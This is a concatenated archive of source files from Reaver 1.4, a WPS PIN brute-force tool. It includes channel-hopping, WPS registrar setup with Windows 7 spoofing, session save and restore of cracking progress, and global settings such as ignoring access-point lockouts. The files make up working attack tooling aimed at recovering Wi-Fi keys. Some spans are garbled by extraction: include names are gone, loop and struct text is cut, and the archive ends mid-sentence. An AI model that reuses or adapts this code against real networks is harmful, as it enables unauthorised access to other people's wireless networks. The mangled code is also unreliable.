the file first in the build tree, then in the source tree # (if the path is not absolute). The absolute path cannot be DOS-style, # because $ac_f cannot contain `:'. test -f "$ac_f" || case $ac_f in [\\/$]*) false;; *) test -f "$srcdir/$ac_f" && ac_f="$srcdir/$ac_f";; esac || as_fn_error "cannot find input file: \`$ac_f'" "$LINENO" 5;; esac case $ac_f in *\'*) ac_f=`$as_echo "$ac_f" | sed "s/'/'\\\\\\\\''/g"`;; esac as_fn_append ac_file_inputs " '$ac_f'" done # Let's still pretend it is `configure' which instantiates (i.e., don't # use $as_me), people would be surprised to read: # /* config.h. Generated by config.status. */ configure_input='Generated from '` $as_echo "$*" | sed 's|^[^:]*/||;s|:[^:]*/|, |g' `' by configure.' if test x"$ac_file" != x-; then configure_input="$ac_file. $configure_input" { $as_echo "$as_me:${as_lineno-$LINENO}: creating $ac_file" >&5 $as_echo "$as_me: creating $ac_file" >&6;} fi # Neutralize special characters interpreted by sed in replacement strings. case $configure_input in #( *\&* | *\|* | *\\* ) ac_sed_conf_input=`$as_echo "$configure_input" | sed 's/[\\\\&|]/\\\\&/g'`;; #( *) ac_sed_conf_input=$configure_input;; esac case $ac_tag in *:-:* | *:-) cat >"$tmp/stdin" \ || as_fn_error "could not create $ac_file" "$LINENO" 5 ;; esac ;; esac ac_dir=`$as_dirname -- "$ac_file" || $as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$ac_file" : 'X\(//\)[^/]' \| \ X"$ac_file" : 'X\(//\)$' \| \ X"$ac_file" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$ac_file" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` as_dir="$ac_dir"; as_fn_mkdir_p ac_builddir=. case "$ac_dir" in .) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_dir_suffix=/`$as_echo "$ac_dir" | sed 's|^\.[\\/]||'` # A ".." for each directory in $ac_dir_suffix. ac_top_builddir_sub=`$as_echo "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` case $ac_top_builddir_sub in "") ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; esac ;; esac ac_abs_top_builddir=$ac_pwd ac_abs_builddir=$ac_pwd$ac_dir_suffix # for backward compatibility: ac_top_builddir=$ac_top_build_prefix case $srcdir in .) # We are building in place. ac_srcdir=. ac_top_srcdir=$ac_top_builddir_sub ac_abs_top_srcdir=$ac_pwd ;; [\\/]* | ?:[\\/]* ) # Absolute name. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ac_abs_top_srcdir=$srcdir ;; *) # Relative name. ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_build_prefix$srcdir ac_abs_top_srcdir=$ac_pwd/$srcdir ;; esac ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix case $ac_mode in :F) # # CONFIG_FILE # _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # If the template does not know about datarootdir, expand it. # FIXME: This hack should be removed a few years after 2.60. ac_datarootdir_hack=; ac_datarootdir_seen= ac_sed_dataroot=' /datarootdir/ { p q } /@datadir@/p /@docdir@/p /@infodir@/p /@localedir@/p /@mandir@/p' case `eval "sed -n \"\$ac_sed_dataroot\" $ac_file_inputs"` in *datarootdir*) ac_datarootdir_seen=yes;; *@datadir@*|*@docdir@*|*@infodir@*|*@localedir@*|*@mandir@*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&5 $as_echo "$as_me: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&2;} _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_datarootdir_hack=' s&@datadir@&$datadir&g s&@docdir@&$docdir&g s&@infodir@&$infodir&g s&@localedir@&$localedir&g s&@mandir@&$mandir&g s&\\\${datarootdir}&$datarootdir&g' ;; esac _ACEOF # Neutralize VPATH when `$srcdir' = `.'. # Shell code in configure.ac might set extrasub. # FIXME: do we really want to maintain this feature? cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_sed_extra="$ac_vpsub $extrasub _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 :t /@[a-zA-Z_][a-zA-Z_0-9]*@/!b s|@configure_input@|$ac_sed_conf_input|;t t s&@top_builddir@&$ac_top_builddir_sub&;t t s&@top_build_prefix@&$ac_top_build_prefix&;t t s&@srcdir@&$ac_srcdir&;t t s&@abs_srcdir@&$ac_abs_srcdir&;t t s&@top_srcdir@&$ac_top_srcdir&;t t s&@abs_top_srcdir@&$ac_abs_top_srcdir&;t t s&@builddir@&$ac_builddir&;t t s&@abs_builddir@&$ac_abs_builddir&;t t s&@abs_top_builddir@&$ac_abs_top_builddir&;t t $ac_datarootdir_hack " eval sed \"\$ac_sed_extra\" "$ac_file_inputs" | $AWK -f "$tmp/subs.awk" >$tmp/out \ || as_fn_error "could not create $ac_file" "$LINENO" 5 test -z "$ac_datarootdir_hack$ac_datarootdir_seen" && { ac_out=`sed -n '/\${datarootdir}/p' "$tmp/out"`; test -n "$ac_out"; } && { ac_out=`sed -n '/^[ ]*datarootdir[ ]*:*=/p' "$tmp/out"`; test -z "$ac_out"; } && { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file contains a reference to the variable \`datarootdir' which seems to be undefined. Please make sure it is defined." >&5 $as_echo "$as_me: WARNING: $ac_file contains a reference to the variable \`datarootdir' which seems to be undefined. Please make sure it is defined." >&2;} rm -f "$tmp/stdin" case $ac_file in -) cat "$tmp/out" && rm -f "$tmp/out";; *) rm -f "$ac_file" && mv "$tmp/out" "$ac_file";; esac \ || as_fn_error "could not create $ac_file" "$LINENO" 5 ;; esac done # for ac_tag as_fn_exit 0 _ACEOF ac_clean_files=$ac_clean_files_save test $ac_write_fail = 0 || as_fn_error "write failure creating $CONFIG_STATUS" "$LINENO" 5 # configure is writing to config.log, and then calls config.status. # config.status does its own redirection, appending to config.log. # Unfortunately, on DOS this fails, as config.log is still kept open # by configure, so config.status won't be able to write to it; its # output is simply discarded. So we exec the FD to /dev/null, # effectively closing config.log, so it can be properly (re)opened and # appended to by config.status. When coming back to configure, we # need to make the FD available again. if test "$no_create" != yes; then ac_cs_success=: ac_config_status_args= test "$silent" = yes && ac_config_status_args="$ac_config_status_args --quiet" exec 5>/dev/null $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false exec 5>>config.log # Use ||, not &&, to avoid exiting from the if with $? = 1, which # would make configure fail if this is the last instruction. $ac_cs_success || as_fn_exit $? fi if test -n "$ac_unrecognized_opts" && test "$enable_option_checking" != no; then { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: unrecognized options: $ac_unrecognized_opts" >&5 $as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2;} fi reaver-1.4/src/iface.h0000644000175000017500000000423211705505256014212 0ustar reaverreaver/* * Reaver - Wireless interface functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef IFACE_H #define IFACE_H #include #include #include #include "lwe/iwlib.h" #include "defs.h" #include "globule.h" #include "misc.h" #define BG_BAND 0 #define AN_BAND 1 #define BG_CHANNELS { 14, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 } #define AN_CHANNELS { 16, 34, 36, 38, 40, 42, 44, 46, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 149, 153, 157, 161, 165, 183, 184, 185, 187, 188, 189, 192, 196 } int read_iface_mac(); int next_channel(); int change_channel(int channel); #endif reaver-1.4/src/init.c0000644000175000017500000001033711705505256014104 0ustar reaverreaver/* * Reaver - Initialization functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "init.h" /* * Generates a wps_config structure which is passed to wps_init() to create * an initial wps_data structure. */ struct wps_data *initialize_wps_data() { struct wps_config *wpsconf = NULL; struct wps_data *wps = NULL; struct wps_registrar_config *reg_conf = NULL; wpsconf = malloc(sizeof(struct wps_config)); if(!wpsconf) { perror("malloc"); goto end; } memset(wpsconf, 0, sizeof(struct wps_config)); reg_conf = malloc(sizeof(struct wps_registrar_config)); if(!reg_conf) { perror("malloc"); goto end; } memset(reg_conf, 0, sizeof(struct wps_registrar_config)); /* Configure ourselves as a registrar */ wpsconf->registrar = 1; /* Tell the AP to not generate a random PSK */ reg_conf->disable_auto_conf = 1; /* Allocate space for the wps_context structure member */ wpsconf->wps = malloc(sizeof(struct wps_context)); if(!wpsconf->wps) { perror("malloc"); goto end; } memset(wpsconf->wps, 0, sizeof(struct wps_context)); /* * Initialize the registrar sub-structure. This is necessary when calling * wpa_supplicant functions to build registrar response payloads. */ wpsconf->wps->registrar = wps_registrar_init(wpsconf->wps, (const struct wps_registrar_config *) reg_conf); if(wpsconf->wps->registrar == NULL) { cprintf(CRITICAL, "[X] ERROR: Failed to initialize registrar structure!\n"); } /* * In registrar mode, only the uuid wps_context member needs to be * populated in order to call wps_init(). If acting as an enrollee, * the wps_device_data sub-structure must also be populated. */ if(os_get_random(wpsconf->wps->uuid, UUID_LEN) == -1) { memcpy(wpsconf->wps->uuid, DEFAULT_UUID, UUID_LEN); } wps = wps_init(wpsconf); if(wps) { /* Report that we are a Windows 7 registrar, if --win7 was specified on the command line */ if(wps->wps && get_win7_compat()) { wps->wps->dev.device_name = WPS_DEVICE_NAME; wps->wps->dev.manufacturer = WPS_MANUFACTURER; wps->wps->dev.model_name = WPS_MODEL_NAME; wps->wps->dev.model_number = WPS_MODEL_NUMBER; memcpy(wps->wps->dev.pri_dev_type, WPS_DEVICE_TYPE, WPS_DEV_TYPE_LEN); memcpy((void *) &wps->wps->dev.os_version, WPS_OS_VERSION, 4); wps->wps->dev.rf_bands = WPS_RF_BANDS; } } end: if(wpsconf) free(wpsconf); if(reg_conf) free(reg_conf); return wps; } /* Initializes pcap capture settings and returns a pcap handle on success, NULL on error */ pcap_t *capture_init(char *capture_source) { pcap_t *handle = NULL; char errbuf[PCAP_ERRBUF_SIZE] = { 0 }; handle = pcap_open_live(capture_source, BUFSIZ, 1, 0, errbuf); if(!handle) { handle = pcap_open_offline(capture_source, errbuf); } return handle; } reaver-1.4/src/configure.ac0000644000175000017500000000121711705505256015260 0ustar reaverreaverAC_INIT(reaver, 1.4) AC_PROG_CC AC_LANG(C) CFLAGS="-Wall $CFLAGS" LDFLAGS="-ldl -lm -lpcap -lsqlite3 $LDFLAGS" AC_CHECK_LIB(pcap, pcap_open_live, [], [echo "error: pcap library not found!"; exit -1]) AC_CHECK_LIB(sqlite3, sqlite3_open, [], [echo "error: sqlite3 library not found!"; exit -1]) AC_CHECK_HEADERS([stdlib.h stdint.h string.h],[],[echo "error: missing standard header files" && exit -1]) AC_CHECK_HEADERS([pcap.h],[],[echo "error: missing sqlite3 header files" && exit -1]) AC_CHECK_HEADERS([sqlite3.h],[],[echo "error: missing sqlite3 header files" && exit -1]) cp confdefs.h config.h AC_SUBST(target, $PACKAGE_NAME) AC_OUTPUT(Makefile) reaver-1.4/src/session.c0000644000175000017500000002004611705505256014622 0ustar reaverreaver/* * Reaver - Session save/restore functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "session.h" int restore_session() { struct stat wpstat = { 0 }; char line[MAX_LINE_SIZE] = { 0 }; char temp[P1_READ_LEN] = { 0 }; char *file = NULL; unsigned char *bssid = NULL; char answer = 0; FILE *fp = NULL; int ret_val = 0, i = 0; /* * If a session file was explicitly specified, use that; else, check for the * default session file name for this BSSID. */ if(get_session()) { file = strdup(get_session()); } else { file = malloc(FILENAME_MAX); if(!file) { return ret_val; } memset(file, 0, FILENAME_MAX); bssid = mac2str(get_bssid(), '\0'); snprintf(file, FILENAME_MAX, "%s/%s.%s", CONF_DIR, bssid, CONF_EXT); free(bssid); } /* * If a session was explicitly specified, or if the auto detect option was specified, * then the answer to any of the following questions will be 'yes'. */ if(get_session() || get_auto_detect_options()) { answer = 'y'; } if(stat(file, &wpstat) == 0) { /* If the user explicitly specified a session file, don't prompt them */ if(answer == 0) { bssid = mac2str(get_bssid(), ':'); /* Don't use cprintf here; else, if the output is sent to a file via -o, the user won't see this prompt. */ fprintf(stderr, "[?] Restore previous session for %s? [n/Y] ", bssid); answer = getc(stdin); free(bssid); } if(answer == 'y' || answer == 'Y' || answer == '\n') { if((fp = fopen(file, "r"))) { /* Get the key1 index value */ if(fgets((char *) &line, MAX_LINE_SIZE, fp) != NULL) { set_p1_index(atoi(line)); memset((char *) &line, 0, MAX_LINE_SIZE); /* Get the key2 index value */ if(fgets((char *) &line, MAX_LINE_SIZE, fp) != NULL) { set_p2_index(atoi(line)); memset((char *) &line, 0, MAX_LINE_SIZE); /* Get the key status value */ if(fgets((char *) &line, MAX_LINE_SIZE, fp) != NULL) { set_key_status(atoi(line)); /* Read in all p1 values */ for(i=0; ikey; essid = wps->essid; } if(!bssid || !pretty_bssid) { cprintf(CRITICAL, "[X] ERROR: Failed to save session data (memory error).\n"); } else { /* * If a session file was explicitly specified, use that; else, check for the * default session file name for this BSSID. */ if(get_session()) { memcpy((char *) &file_name, get_session(), FILENAME_MAX-1); } else { /* * If the configuration directory exists, save the session file there; else, save it to the * current working directory. */ if(configuration_directory_exists()) { snprintf((char *) &file_name, FILENAME_MAX, "%s/%s.%s", CONF_DIR, bssid, CONF_EXT); } else { snprintf((char *) &file_name, FILENAME_MAX, "%s.%s", bssid, CONF_EXT); } } /* Don't bother saving anything if nothing has been done */ if((get_p1_index() > 0) || (get_p2_index() > 0)) { if((fp = fopen((char *) &file_name, "w"))) { snprintf((char *) &line, MAX_LINE_SIZE, "%d\n", get_p1_index()); write_size = strlen((char *) &line); /* Save key1 index value */ if(fwrite((char *) &line, 1, write_size, fp) == write_size) { memset((char *) &line, 0, MAX_LINE_SIZE); snprintf((char *) &line, MAX_LINE_SIZE, "%d\n", get_p2_index()); write_size = strlen((char *) &line); /* Save key2 index value */ if(fwrite((char *) &line, 1, write_size, fp) == write_size) { memset((char *) &line, 0, MAX_LINE_SIZE); snprintf((char *) &line, MAX_LINE_SIZE, "%d\n", get_key_status()); write_size = strlen((char *) &line); /* Save key status value */ if(fwrite((char *) &line, 1, write_size, fp) == write_size) { /* Save all the p1 values */ for(i=0; i 0) { attempts = P1_SIZE + P2_SIZE; } else { if(get_key_status() == KEY1_WIP) { attempts = get_p1_index() + get_p2_index(); } else if(get_key_status() == KEY2_WIP) { attempts = P1_SIZE + get_p2_index(); } } /* If we got an SSID from the WPS data, then use that; else, use whatever was used to associate with the AP */ if(!essid || strlen(essid) < 0) { essid = get_ssid(); } update_history(pretty_bssid, essid, attempts, wpa_key); ret_val = 1; } } } fclose(fp); } } else { cprintf(VERBOSE, "[+] Nothing done, nothing to save.\n"); } free(bssid); free(pretty_bssid); } return ret_val; } /* Does the configuration directory exist? Returns 1 for yes, 0 for no. */ int configuration_directory_exists() { struct stat dirstat = { 0 }; int retval = 0; if(stat(CONF_DIR, &dirstat) == 0) { retval = 1; } return retval; } reaver-1.4/src/globule.h0000644000175000017500000002173011705505256014576 0ustar reaverreaver/* * Reaver - Global variable access functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef GLOBULE_H #define GLOBULE_H #include "defs.h" struct globals { int last_wps_state; /* Holds the previous WPS state as stored in wps->state */ int p1_index; /* Index into p1 array for building WPS pins */ int p2_index; /* Index into p2 array for building WPS pins */ char *p1[P1_SIZE]; /* Array of all possible values for the firt half of the pin */ char *p2[P2_SIZE]; /* Array of all possible values for the second half of the pin */ char *static_p1; /* Static P1, as supplied by the user */ char *static_p2; /* Static P2, as supplied by the user */ enum key_state key_status; /* Indicates the status of the key cracking: KEY1_WIP | KEY2_WIP | KEY_DONE */ int dh_small; /* Use small DH keys to improve WPS speed */ int external_association; /* Use an external application to perform AP association */ int oo_send_nack; /* Set to 1 to send WSC_NACK when an out of order packet is received */ int win7_compat; /* Set to 1 to make WPS messages mimic Windows 7 settings. */ int delay; /* Seconds to sleep in between key attempts */ int fail_delay; /* Seconds to sleep after WARN_FAILURE_COUNT WPS exchange failures */ int recurring_delay; /* Sleep recurring_delay seconds for every recurring_delay_count attempts */ int lock_delay; /* Sleep lock_delay seconds when wpscrack detects that the AP has locked WPS pin attempts */ int ignore_locks; /* Ignore locked state */ int recurring_delay_count; /* Enter a recurring delay after recurring_delay_count pin attempts */ int eap_terminate; /* Experimental */ int max_pin_attempts; /* Maximum number of pin attempts */ int rx_timeout; /* Receive timeout period (seconds) */ int timeout_is_nack; /* Treat M5/M7 receive timeouts as NACKs (only needed for shoddy WPS implementations) */ int m57_timeout; /* Timeout period for receiving an M5/M7 response (uSeconds) */ int out_of_time; /* Set to 1 when sigalrm sounds */ enum debug_level debug; /* Current debug level: INFO | CRITICAL | WARNING | VERBOSE */ int eapol_start_count; /* Tracks how many times in a row we've attempted to start and EAP session */ int fixed_channel; /* Disables channel hopping if set */ int auto_channel_select; /* Diables automatic parsing and changing of the current channel number, as specified in the AP's beacon packet */ int auto_detect_options; /* If true, Reaver will auto detect the best command line options for the attack */ int wifi_band; /* Determines if we use the A/N bands or B/G bands */ int channel; /* Holds the current channel number */ int max_num_probes; /* Maximum number of probe requests to send to an AP during survey mode */ int validate_fcs; /* If 1, validate each packet's FCS. If 0, process packets even with invalid FCS. */ enum wsc_op_code opcode; /* WFA opcode, received by exchange.c and used by builder.c */ uint8_t eap_id; /* Tracks the EAP ID value for building EAP repsonse headers */ uint16_t ap_capability; /* Capability information of the target AP as specified in the AP's beacon packets */ unsigned char bssid[MAC_ADDR_LEN]; /* Target BSSID */ unsigned char mac[MAC_ADDR_LEN]; /* Source MAC address */ unsigned char *ap_rates; /* Supported rates IE data, as reported by the AP */ int ap_rates_len; /* Length of the supported rates IE data */ FILE *fp; /* Handle to log file */ char *session; /* Path to session file */ char *ssid; /* Target SSID */ char *iface; /* Interface name */ char *pin; /* Pointer to the recovered WPS pin value */ char *exec_string; /* Pointer to user-supplied command to execute upon success */ enum nack_code nack_reason; /* Stores the nack code for the last received WSC_NACK message */ pcap_t *handle; /* Pcap handle */ struct wps_data *wps; /* * wpa_supplicant's wps_data structure, needed for almost all wpa_supplicant * function calls. */ } *globule; int globule_init(); void globule_deinit(); void set_log_file(FILE *fp); FILE *get_log_file(void); void set_last_wps_state(int state); int get_last_wps_state(); void set_session(char *value); char *get_session(); void set_p1_index(int index); int get_p1_index(); void set_p2_index(int index); int get_p2_index(); void set_p1(int index, char *value); char *get_p1(int index); void set_p2(int index, char *value); char *get_p2(int index); void set_key_status(enum key_state status); enum key_state get_key_status(); void set_delay(int delay); int get_delay(); void set_fail_delay(int delay); int get_fail_delay(); void set_validate_fcs(int validate); int get_validate_fcs(void); void set_recurring_delay(int delay); int get_recurring_delay(); void set_recurring_delay_count(int value); int get_recurring_delay_count(); void set_lock_delay(int value); int get_lock_delay(); void set_ignore_locks(int value); int get_ignore_locks(); void set_eap_terminate(int value); int get_eap_terminate(); void set_max_pin_attempts(int value); int get_max_pin_attempts(); int get_max_num_probes(); void set_max_num_probes(int value); void set_rx_timeout(int value); int get_rx_timeout(); void set_timeout_is_nack(int value); int get_timeout_is_nack(); void set_m57_timeout(int value); int get_m57_timeout(); void set_out_of_time(int value); int get_out_of_time(); void set_debug(enum debug_level value); enum debug_level get_debug(); void set_eapol_start_count(int value); int get_eapol_start_count(); void set_fixed_channel(int value); int get_fixed_channel(); void set_auto_channel_select(int value); int get_auto_channel_select(); void set_auto_detect_options(int value); int get_auto_detect_options(); void set_wifi_band(int value); int get_wifi_band(); void set_opcode(enum wsc_op_code value); enum wsc_op_code get_opcode(); void set_eap_id(uint8_t value); uint8_t get_eap_id(); void set_ap_capability(uint16_t value); uint16_t get_ap_capability(); void set_bssid(unsigned char *value); unsigned char *get_bssid(); void set_mac(unsigned char *value); unsigned char *get_mac(); void set_channel(int channel); int get_channel(void); void set_ssid(char *value); char *get_ssid(); void set_iface(char *value); char *get_iface(); void set_pin(char *value); char *get_pin(); void set_static_p1(char *value); char *get_static_p1(void); void set_static_p2(char *value); char *get_static_p2(void); void set_win7_compat(int value); int get_win7_compat(void); void set_dh_small(int value); int get_dh_small(void); void set_external_association(int value); int get_external_association(void); void set_nack_reason(enum nack_code value); enum nack_code get_nack_reason(); void set_handle(pcap_t *value); pcap_t *get_handle(); void set_wps(struct wps_data *value); struct wps_data *get_wps(); void set_ap_rates(unsigned char *value, int len); unsigned char *get_ap_rates(int *len); void set_exec_string(char *string); char *get_exec_string(void); void set_oo_send_nack(int value); int get_oo_send_nack(void); #endif reaver-1.4/src/sigalrm.h0000644000175000017500000000350211705505256014600 0ustar reaverreaver/* * Reaver - Sigalrm handler functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef SIGALRM_H #define SIGALRM_H #include #include #include "defs.h" #include "globule.h" #include "misc.h" void sigalrm_init(); void start_timer(); void stop_timer(); void alarm_handler(int x); #endif reaver-1.4/src/wps.h0000644000175000017500000000337411705505256013762 0ustar reaverreaver/* * Reaver - Include file for WPS functionality * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef WPSLIB_H #define WPSLIB_H #include #include #include "utils/common.h" #include "wps/wps.h" #include "wps/wps_i.h" #endif reaver-1.4/src/iface.c0000644000175000017500000001032311705505256014203 0ustar reaverreaver/* * Reaver - Wireless interface functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "iface.h" /* Populates globule->mac with the MAC address of the interface globule->iface */ int read_iface_mac() { struct ifreq ifr; struct ether_addr *eth = NULL; int sock = 0, ret_val = 0; /* Need a socket for the ioctl call */ sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP); if(sock != -1) { eth = malloc(sizeof(struct ether_addr)); if(eth) { memset(eth, 0, sizeof(struct ether_addr)); /* Prepare request */ memset(&ifr, 0, sizeof(struct ifreq)); strncpy(ifr.ifr_name, get_iface(), IFNAMSIZ); /* Do it */ if(ioctl(sock, SIOCGIFHWADDR, &ifr) == 0) { set_mac((unsigned char *) &ifr.ifr_hwaddr.sa_data); ret_val = 1; } free(eth); } close(sock); } return ret_val; } /* * Goes to the next 802.11 channel. * This is mostly required for APs that hop channels, which usually hop between channels 1, 6, and 11. * We just hop channels until we successfully associate with the AP. * The AP's actual channel number is parsed and set by parse_beacon_tags() in 80211.c. */ int next_channel() { static int i; int n = 0; int bg_channels[] = BG_CHANNELS; int an_channels[] = AN_CHANNELS; int *channels = NULL; /* Select the appropriate channels for the target 802.11 band */ if(get_wifi_band() == AN_BAND) { channels = (int *) &an_channels; n = sizeof(an_channels) / sizeof(int); } else { channels = (int *) &bg_channels; n = sizeof(bg_channels) / sizeof(int); } /* Only switch channels if fixed channel operation is disabled */ if(!get_fixed_channel()) { i++; if((i >= n) || i < 0) { i = 0; } return change_channel(channels[i]); } return 0; } /* Sets the 802.11 channel for the selected interface */ int change_channel(int channel) { int skfd = 0, ret_val = 0; struct iwreq wrq; memset((void *) &wrq, 0, sizeof(struct iwreq)); /* Open NET socket */ if((skfd = iw_sockets_open()) < 0) { perror("iw_sockets_open"); } else if(get_iface()) { /* Convert channel to a frequency */ iw_float2freq((double) channel, &(wrq.u.freq)); /* Fixed frequency */ wrq.u.freq.flags = IW_FREQ_FIXED; cprintf(VERBOSE, "[+] Switching %s to 